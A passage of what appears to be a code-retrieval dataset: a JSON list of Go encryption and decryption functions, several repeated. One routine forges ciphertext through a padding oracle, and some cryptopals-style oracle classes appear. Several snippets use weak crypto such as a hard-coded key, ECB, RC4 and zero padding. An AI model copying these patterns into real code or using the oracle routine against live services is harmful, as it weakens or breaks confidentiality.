aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := FunctionReadfull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream, err := FunctionEncryptStream(key, iv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], []byte(plaintext))\n\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func encrypt(decoded string, key []byte) (string, error) {\n\tplainText := []byte(anchor + decoded)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn decoded, err\n\t}\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn decoded, err\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\tencoded := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encoded, nil\n}", "func (o *CTROracle) Encrypt(plaintext string) []byte {\n\ttemp := strings.Replace(plaintext, \"=\", \"'='\", -1)\n\tsanitized := strings.Replace(temp, \";\", \"';'\", -1)\n\ttoEncrypt := \"comment1=cooking%20MCs;userdata=\" + sanitized + \";comment2=%20like%20a%20pound%20of%20bacon\"\n\n\tctr := stream.NewCTR(o.Key, o.Nonce)\n\treturn ctr.Encrypt([]byte(toEncrypt))\n}", "func EncryptString(to_encrypt string, key_string string) string {\n\tkey := DecodeBase64(key_string)\n\tplaintext := []byte(to_encrypt)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: EncryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make a empty byte array to fill\n\tciphertext := make([]byte, len(plaintext))\n\t// create the ciphertext\n\tc.XORKeyStream(ciphertext, plaintext)\n\treturn EncodeBase64(ciphertext)\n}", "func encrypt(plainData string, secret []byte) (string, error) {\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce := make([]byte, aead.NonceSize())\r\n\tif _, err = io.ReadFull(crt.Reader, nonce); err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\r\n}", "func Encrypt(plaintext, key string) (string, error) {\n\n\tvar ciphertext []byte\n\tvar err error\n\n\tciphertext, err = encrypt([]byte(plaintext), []byte(key))\n\n\treturn base64.StdEncoding.EncodeToString(ciphertext), err\n}", "func (k *DecryptionKey) Encrypt(plaintext []byte) ([]byte, error) {\n\treturn encrypt(plaintext, k.sk.GetPublic())\n}", "func (item *Item) encrypt(skey []byte) error {\n\tif len(skey) == 0 {\n\t\treturn errors.New(\"empty item key for encyption\")\n\t}\n\tif item.Content == \"\" {\n\t\treturn errors.New(\"empty plainText\")\n\t}\n\tkey := item.cipherKey(skey)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tplainText := []byte(item.Content)\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn errors.New(\"iv random generation error\")\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\titem.eContent = hex.EncodeToString(cipherText)\n\treturn nil\n}", "func (k *EncryptionKey) Encrypt(plaintext []byte) ([]byte, error) {\n\treturn encrypt(plaintext, k.pk)\n}", "func encrypt(msg []byte, k key) (c []byte, err error) {\n\tnonce, err := randomNonce()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc = box.SealAfterPrecomputation(c, msg, nonce, k)\n\tc = append((*nonce)[:], c...)\n\treturn c, nil\n}", "func (a *AES) Encrypt() []byte {\n\treturn aesCrypt(a, a.key)\n}", "func (i *GPG) Encrypt(\n\tkeys []string,\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Encrypt(i.ctx, b, keys)\n}", "func encrypt(plainData string, secret []byte) (string, error) {\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, aead.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\n}", "func (em *EncrypterManager) Encrypt(data []byte) []byte {\n\treturn em.Encrypter.Encrypt(data)\n}", "func (t *CryptoHandler) Encrypt(ctx *CryptoHandlerOpts) error {\n\treturn t.applyCryptoAction(ctx,\n\t\tfunc(ctx *CryptoHandlerOpts, ci Transformable) error { return t.encrypt(ctx, ci) })\n}", "func (t *Crypto) Encrypt(msg, aad []byte, kh interface{}) ([]byte, []byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, nil, errBadKeyHandleFormat\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\tct, err := a.Encrypt(msg, aad)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"encrypt msg: %w\", err)\n\t}\n\n\t// Tink appends a key prefix + nonce to ciphertext, let's remove them to get the raw ciphertext\n\tivSize := nonceSize(ps)\n\tprefixLength := len(ps.Primary.Prefix)\n\tcipherText := ct[prefixLength+ivSize:]\n\tnonce := ct[prefixLength : prefixLength+ivSize]\n\n\treturn cipherText, nonce, nil\n}", "func encrypt(msg string) string {\n\tencryptionPassphrase := []byte(Secret)\n\tencryptionText := msg\n\tencryptionType := \"PGP SIGNATURE\"\n\n\tencbuf := bytes.NewBuffer(nil)\n\tw, err := armor.Encode(encbuf, encryptionType, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tplaintext, err := openpgp.SymmetricallyEncrypt(w, encryptionPassphrase, nil, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tmessage := []byte(encryptionText)\n\t_, err = plaintext.Write(message)\n\n\tplaintext.Close()\n\tw.Close()\n\t//fmt.Printf(\"Encrypted:\\n%s\\n\", encbuf)\n\treturn encbuf.String()\n}", "func (t *CryptoHandler) encryptInline(plain []byte, key, tfvf string, dblEncrypt bool, exclWhitespace bool) ([]byte, error) {\n\n\tif !dblEncrypt {\n\t\tr := regexp.MustCompile(thCryptoWrapRegExp)\n\t\tm := r.FindSubmatch(plain)\n\t\tif len(m) >= 1 {\n\t\t\treturn nil, newCryptoWrapError(errMsgAlreadyEncrypted)\n\t\t}\n\t}\n\n\ttfvu := NewTfVars(tfvf, exclWhitespace)\n\tinlineCreds, err := tfvu.Values()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinlinedText := string(plain)\n\tfor _, v := range inlineCreds {\n\t\tct, err := t.Encrypter.Encrypt(key, []byte(v))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinlinedText = strings.Replace(inlinedText, v, string(ct), -1)\n\t}\n\n\treturn []byte(inlinedText), nil\n}", "func (wa *WzAES) Encrypt(plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(wa.key[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\t_, err = io.ReadFull(rand.Reader, nonce)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), nil\n}", "func (t *Crypto) Encrypt(msg, aad []byte, kh interface{}) ([]byte, []byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, nil, errors.New(\"bad key handle format\")\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\tct, err := a.Encrypt(msg, aad)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"encrypt msg: %w\", err)\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\t// Tink appends a key prefix + nonce to ciphertext, let's remove them to get the raw ciphertext\n\tivSize := nonceSize(ps)\n\tprefixLength := len(ps.Primary.Prefix)\n\tcipherText := ct[prefixLength+ivSize:]\n\tnonce := ct[prefixLength : prefixLength+ivSize]\n\n\treturn cipherText, nonce, nil\n}", "func (cfg *Config) Encrypt(data []byte) (string, error) {\n // load public key\n pubKey, err := x509.ParsePKCS1PublicKey(cfg.pubPem.Bytes)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to read public key: %v\", err)\n }\n\n // generate a random content encryption key (CEK), build an AES GCM cipher, encrypt the data\n cek := make([]byte, 32)\n rand.Read(cek)\n cipherBlock, err := aes.NewCipher(cek)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create AES cipher block: %v\", err)\n }\n gcm, err := cipher.NewGCM(cipherBlock)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create GCM cipher: %v\", err)\n }\n nonce := make([]byte, gcm.NonceSize())\n rand.Read(nonce)\n cipherText := gcm.Seal(nil, nonce, data, nil)\n\n // encrypt the CEK, then encode the ECEK and cipher text as JSON\n ecek, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, pubKey, cek, make([]byte, 0))\n if err != nil {\n return \"\", fmt.Errorf(\"failed to encrypt CEK: %v\", err)\n }\n jsonBytes, _ := json.Marshal(encryptedFileJSON{\n ECEK: base64.StdEncoding.EncodeToString(ecek),\n CipherText: base64.StdEncoding.EncodeToString(cipherText),\n Nonce: base64.StdEncoding.EncodeToString(nonce),\n })\n\n id, _ := uuid.NewV4()\n if err := ioutil.WriteFile(cfg.getOutFilePath(id.String()), jsonBytes, os.ModePerm); err != nil {\n return \"\", fmt.Errorf(\"failed to store encrypted data: %v\", err)\n }\n return id.String(), nil\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext is too short.\")\n\t}\n\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCBCDecrypter(block, iv)\n\tcfb.CryptBlocks(text, text)//.XORKeyStream(test, test)\n\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func (c *Client) EncryptData(cc string) (string, error) {\n\turl := fmt.Sprintf(\"%s/v1/transit/encrypt/web\", c.addr)\n\n\t// base64 encode\n\tbase64cc := base64.StdEncoding.EncodeToString([]byte(cc))\n\n\tdata, _ := json.Marshal(EncryptRequest{Plaintext: base64cc})\n\tr, _ := http.NewRequest(http.MethodPost, url, bytes.NewReader(data))\n\tr.Header.Add(\"X-Vault-Token\", c.token)\n\n\tresp, err := http.DefaultClient.Do(r)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn \"\", fmt.Errorf(\"Vault returned reponse code %d, expected status code 200\", resp.StatusCode)\n\t}\n\n\ttr := &EncryptResponse{}\n\terr = json.NewDecoder(resp.Body).Decode(tr)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn tr.Data.CipherText, nil\n}", "func Encrypt(str string) (string, error) {\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tcipherText := make([]byte, aes.BlockSize+len(str))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], []byte(str))\n\n\t//returns to base64 encoded string\n\tencmess := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encmess, nil\n}", "func (s *Server) Encrypt(data []byte) ([]byte, []byte, error) {\n\n\t// obtain aesKey\n\taesKey, err := getAESKey()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a new Cipher Block from the key\n\tblock, err := aes.NewCipher(aesKey)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a new GCM\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesGCM.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Encrypt the data using aesGCM.Seal within the record\n\tdata = aesGCM.Seal(nonce, nonce, data, nil)\n\n\treturn data, aesKey, nil\n\n}", "func (t *DefaultTpke) Encrypt(msg []byte) ([]byte, error) {\n\tencrypted, err := t.publicKey.Encrypt(msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn encrypted.Serialize(), nil\n}", "func (e ECBEncryptionOracle) Encrypt(myString []byte) []byte {\n\treturn e.ecb.Encrypt(append(e.prepend, append(myString, e.unknownString...)...))\n}", "func Encrypt(key, iv, plaintext []byte) ([]byte, error) {\n\tplaintext = pad(plaintext, aes.BlockSize)\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn nil, fmt.Errorf(\"plaintext is not a multiple of the block size: %d / %d\", len(plaintext), aes.BlockSize)\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar ciphertext []byte\n\tif iv == nil {\n\t\tciphertext = make([]byte, aes.BlockSize+len(plaintext))\n\t\tiv := ciphertext[:aes.BlockSize]\n\t\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcbc := cipher.NewCBCEncrypter(block, iv)\n\t\tcbc.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\t} else {\n\t\tciphertext = make([]byte, len(plaintext))\n\n\t\tcbc := cipher.NewCBCEncrypter(block, iv)\n\t\tcbc.CryptBlocks(ciphertext, plaintext)\n\t}\n\n\treturn ciphertext, nil\n}", "func (e aesGCMEncodedEncryptor) Encrypt(plaintext string) (ciphertext string, err error) {\n\tif len(e.primaryKey) < requiredKeyLength {\n\t\treturn \"\", &EncryptionError{errors.New(\"primary key is unavailable\")}\n\t}\n\n\tcipherbytes, err := gcmEncrypt([]byte(plaintext), e.primaryKey)\n\tif err != nil {\n\t\treturn \"\", &EncryptionError{errors.Errorf(\"unable to encrypt: %v\", err)}\n\t}\n\n\tciphertext = base64.StdEncoding.EncodeToString(cipherbytes)\n\treturn e.PrimaryKeyHash() + separator + ciphertext, nil\n}", "func (e *cbcPKCS5Padding) Encrypt(base64Key, plainText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := e.encrypt([]byte(plainText), key)\n\tbase64CipherText := base64.StdEncoding.EncodeToString(cipherText)\n\treturn base64CipherText, err\n}", "func Encrypt(key, iv, plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpad := aes.BlockSize - len(plaintext)%aes.BlockSize\n\tplaintext = append(plaintext, bytes.Repeat([]byte{byte(pad)}, pad)...)\n\tciphertext := make([]byte, len(plaintext))\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext, plaintext)\n\treturn ciphertext, nil\n}", "func (connection *SSEConnection) SendText(payload []byte) {\n\tconnection.messageSendChannel <- payload\n}", "func encryptConfig(key []byte, clearText []byte) (string, error) {\n\tsecret := &AESSecret{}\n\tcipherBlock, err := initBlock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce, err := randomNonce(12)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.Nonce = nonce\n\n\tgcm, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.CipherText = gcm.Seal(nil, secret.Nonce, clearText, nil)\n\n\tjsonSecret, err := json.Marshal(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(jsonSecret), nil\n}", "func (q MockService) Encrypt(input string) (encKey string, encVal string, err error) {\n\tencKey = `AQEDAHithgxYTcdIpj37aYm1VAycoViFcSM2L+KQ42Aw3R0MdAAAAH4wfAYJKoZIhvcNAQcGoG8wbQIBADBoBgkqhkiG9w0BBwEwHgYJYIZIAWUDBAEuMBEEDMrhUevDKOjuP7L1\nXAIBEIA7/F9A1spnmoaehxqU5fi8lBwiZECAvXkSI33YPgJGAsCqmlEAQuirHHp4av4lI7jjvWCIj/nyHxa6Ss8=`\n\tencVal = \"+DKd7lg8HsLD+ISl7ZrP0n6XhmrTRCYDVq4Zj9hTrL1JjxAb2fGsp/2DMSPy\"\n\terr = nil\n\n\treturn encKey, encVal, err\n}", "func (m EncMessage) Encrypt(k []byte) error {\n\treturn errors.New(\"Encrypt method must be overridden\")\n}", "func EciesEncrypt(sender *Account, recipentPub string, plainText []byte, iv []byte) (content string, err error) {\n\n\t// Get the shared-secret\n\t_, secretHash, err := EciesSecret(sender, recipentPub)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thashAgain := sha512.New()\n\t_, err = hashAgain.Write(secretHash[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tkeys := hashAgain.Sum(nil)\n\tkey := append(keys[:32]) // first half of sha512 hash of secret is used as key\n\tmacKey := append(keys[32:]) // second half as hmac key\n\n\t// Generate IV\n\tvar contentBuffer bytes.Buffer\n\tif len(iv) != 16 || bytes.Equal(iv, make([]byte, 16)) {\n\t\tiv = make([]byte, 16)\n\t\t_, err = rand.Read(iv)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tcontentBuffer.Write(iv)\n\n\t// AES CBC for encryption,\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\n\t//// create pkcs#7 padding\n\tplainText = append(plainText, func() []byte {\n\t\tpadLen := block.BlockSize() - (len(plainText) % block.BlockSize())\n\t\tpad := make([]byte, padLen)\n\t\tfor i := range pad {\n\t\t\tpad[i] = uint8(padLen)\n\t\t}\n\t\treturn pad\n\t}()...)\n\n\t// encrypt the plaintext\n\tcipherText := make([]byte, len(plainText))\n\tcbc.CryptBlocks(cipherText, plainText)\n\tcontentBuffer.Write(cipherText)\n\n\t// Sign the message using sha256 hmac, *second* half of sha512 hash used as key\n\tsigner := hmac.New(sha256.New, macKey)\n\t_, err = signer.Write(contentBuffer.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsignature := signer.Sum(nil)\n\tcontentBuffer.Write(signature)\n\n\t// base64 encode the message, and it's ready to be embedded in our FundsReq.Content or RecordSend.Content fields\n\tb64Buffer := bytes.NewBuffer([]byte{})\n\tencoded := base64.NewEncoder(base64.StdEncoding, b64Buffer)\n\t_, err = encoded.Write(contentBuffer.Bytes())\n\t_ = encoded.Close()\n\treturn string(b64Buffer.Bytes()), nil\n}", "func (c *Coffin) Encrypt(data []byte) ([]byte, error) {\n\n\t// Switch on Coffin.Mode, and select the appropriate encryption algorithm\n\tswitch c.Mode {\n\tcase CryptCHACHA20:\n\t\treturn c.encryptCHACHA20(data)\n\tcase CryptAES256:\n\t\treturn c.encryptAES256(data)\n\tcase CryptRSA:\n\t\treturn c.encryptRSA(data)\n\tdefault:\n\t\treturn c.encryptCHACHA20(data)\n\t}\n}", "func Encrypt(payload []byte, q Poracle, l *log.Logger) ([]byte, error) {\n\tpayload = crypto.PCKCS5Pad(payload)\n\tn := len(payload) / CipherBlockLen\n\n\t// The clear text have the same length as the cyphertext - 1\n\t// (the IV).\n\tvar im []byte\n\tvar c1 = make([]byte, CipherBlockLen, CipherBlockLen)\n\tvar c0 = make([]byte, CipherBlockLen, CipherBlockLen)\n\n\t// Last block of the encrypted value is not related to the\n\t// text to encrypt, can contain any value.\n\tvar c []byte\n\tc = append(c, c1...)\n\tfor i := n - 1; i >= 0; i-- {\n\t\tdi, err := decryptBlock(c0, c1, q, l)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmi := di\n\t\tim = append(im, mi...)\n\t\tti := payload[CipherBlockLen*i : (CipherBlockLen*i)+CipherBlockLen]\n\t\tc1 = crypto.BlockXOR(ti, mi)\n\t\tc = append(c1, c...)\n\t}\n\treturn c, nil\n}", "func (v envVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\t// Get cipher object with key\n\taesgcm, err := getCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Generate nonce\n\tnonce := make([]byte, aesgcm.NonceSize())\n\tif _, err := rand.Read(nonce); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encrypt data\n\tciphertext := aesgcm.Seal(nil, nonce, plaintext, nil)\n\n\treturn append(nonce, ciphertext...), nil\n}", "func Encrypt(publicKeyPath string, output string, data []byte) (encryptedKey, encryptedData string) {\n\t// Public key\n\tpublicKey := ReadRsaPublicKey(publicKeyPath)\n\n\t// AEs key\n\tkey := NewAesEncryptionKey()\n\t// fmt.Printf(\"AES key: %v \\n\", *key)\n\ttext := []byte(string(data))\n\tencrypted, _ := AesEncrypt(text, key)\n\n\t// Base64 encode\n\tencryptedRsa, _ := RsaEncrypt(key, publicKey)\n\tb64key := b64.StdEncoding.EncodeToString([]byte(encryptedRsa))\n\tsEnc := b64.StdEncoding.EncodeToString(encrypted)\n\n\treturn b64key, sEnc\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgcm, err := cipher.NewGCM(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), nil\n}", "func Encrypt(plaintextBytes, keyBytes []byte) (ciphertextBytes []byte, err error) {\n\tcipher, err := aes.NewCipher(keyBytes)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tblockSize := cipher.BlockSize()\n\n\tfor len(plaintextBytes) > 0 {\n\t\tadd := make([]byte, blockSize)\n\t\tcipher.Encrypt(add, plaintextBytes[:blockSize])\n\t\tplaintextBytes = plaintextBytes[blockSize:]\n\t\tciphertextBytes = append(ciphertextBytes, add...)\n\t}\n\n\treturn\n}", "func (cc cipherChannel) encrypt(plaintext, iv []byte) ([]byte, []byte, error) {\n\tif iv == nil {\n\t\t// iv is null, this is the first data sent in an encrypted\n\t\t// stream - generate a random iv.\n\t\tiv = make([]byte, aes.BlockSize)\n\t\tif _, err := rand.Read(iv); err != nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"error reading random bytes for IV: %w\", err)\n\t\t}\n\t} else {\n\t\tif len(iv) != aes.BlockSize {\n\t\t\treturn nil, nil, fmt.Errorf(\"passed IV is %d bytes long instead of %d\", len(iv), aes.BlockSize)\n\t\t}\n\t}\n\n\t// Add padding to the next full 16 bytes\n\tpadding := make([]byte, aes.BlockSize-(len(plaintext)%aes.BlockSize))\n\t// Create ciphertext large enough to hold the plaintext and the\n\t// padding\n\tciphertext := make([]byte, len(plaintext)+len(padding))\n\n\tcbcenc := cipher.NewCBCEncrypter(cc.aes, iv)\n\tcbcenc.CryptBlocks(ciphertext, append(plaintext, padding...))\n\n\treturn ciphertext, iv, nil\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tcfb.XORKeyStream(text, text)\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func Encrypt(key, iv, message []byte) []byte {\n\treturn encryption.EncryptAESECB(key, iv, message)\n}", "func EncryptThis(text string) string {\n\n\tif len(text) == 0 {\n\t\treturn text\n\t}\n\n\tstr := strings.Split(text, \" \")\n\n\tstrEncrypt := \"\"\n\n\tfor _, v := range str {\n\n\t\tstrEncrypt += fmt.Sprintf(\"%s \", encryptThis(v))\n\n\t}\n\n\treturn strings.TrimSpace(strEncrypt)\n}", "func encrypt(contents []byte) ([]byte, error) {\n\tvar spider_key = []byte(\"cloud-barista-cb-spider-cloud-ba\") // 32 bytes\n\n\tencryptData := make([]byte, aes.BlockSize+len(contents))\n\tinitVector := encryptData[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, initVector); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherBlock, err := aes.NewCipher(spider_key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcipherTextFB := cipher.NewCFBEncrypter(cipherBlock, initVector)\n\tcipherTextFB.XORKeyStream(encryptData[aes.BlockSize:], []byte(contents))\n\n\treturn encryptData, nil\n}", "func (f genHelperEncoder) EncTextMarshal(iv encoding.TextMarshaler) {\n\tbs, fnerr := iv.MarshalText()\n\tf.e.marshalUtf8(bs, fnerr)\n}", "func decrypt(cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\tblock, err := aes.NewCipher(key())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func (ob *AESCipher) Encrypt(plaintext []byte) (ciphertext []byte, err error) {\n\tif len(ob.cryptoKey) != 32 {\n\t\treturn nil, logError(0xE64A2E, errKeySize)\n\t}\n\t// nonce is a byte array filled with cryptographically secure random bytes\n\tn := ob.gcm.NonceSize()\n\tnonce := make([]byte, n)\n\t_, err = io.ReadFull(rand.Reader, nonce)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tciphertext = ob.gcm.Seal(\n\t\tnonce, // dst []byte,\n\t\tnonce, // nonce []byte,\n\t\tplaintext, // plaintext []byte,\n\t\tnil, // additionalData []byte) []byte\n\t)\n\treturn ciphertext, nil\n}", "func (a *Age) Encrypt(ctx context.Context, plaintext []byte, recipients []string) ([]byte, error) {\n\t// add our own public key\n\tpks, err := a.pkself(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp, err := a.parseRecipients(ctx, recipients)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp = append(recp, pks)\n\treturn a.encrypt(plaintext, recp...)\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}" ]
